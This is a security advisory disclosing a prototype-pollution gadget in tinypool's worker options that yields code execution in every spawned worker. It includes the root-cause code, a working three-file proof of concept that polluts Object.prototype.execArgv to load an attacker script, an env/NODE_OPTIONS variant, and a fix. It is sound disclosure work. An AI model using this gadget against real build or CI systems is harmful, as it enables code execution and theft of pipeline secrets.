Tinypool: Prototype Pollution gadget in worker options leads to Remote Code ExecutionGHSA-5gmw-xhrv-c9v3

tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.

Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.

Two keys reach code execution:

1. execArgv — polluting Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script.
2. env — polluting Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.

Root cause

dist/index.js lines 508-511:

env:            this.options.env,
argv:           this.options.argv,
execArgv:       this.options.execArgv,
resourceLimits: this.options.resourceLimits,

this.options is built at line 470 via object spread:

this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

Impact

Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).

Proof of concept

Minimal reproduction (3 files):

worker.mjs — the application's own legitimate worker:

export default function double(n) { return n * 2 }

payload.js — attacker-controlled code (never referenced by the app):

const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')

app.js — normal tinypool usage:

const path = require('path')

// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]

const { Tinypool } = require('tinypool')
const pool = new Tinypool({
  filename: path.join(__dirname, 'worker.mjs'),
  minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
  console.log('pool returned:', r)  // 42 — app works normally
  pool.destroy()
})

Run:

npm i [email protected]
node app.js
cat /tmp/RCE_PROOF.txt   # attacker's code ran

Both execArgv and env vectors confirmed on Node 20.

Suggested fix

Resolve worker options with own-property semantics:

this.options = Object.assign(Object.create(null),
  kDefaultOptions, options, { filename, maxQueue: 0 });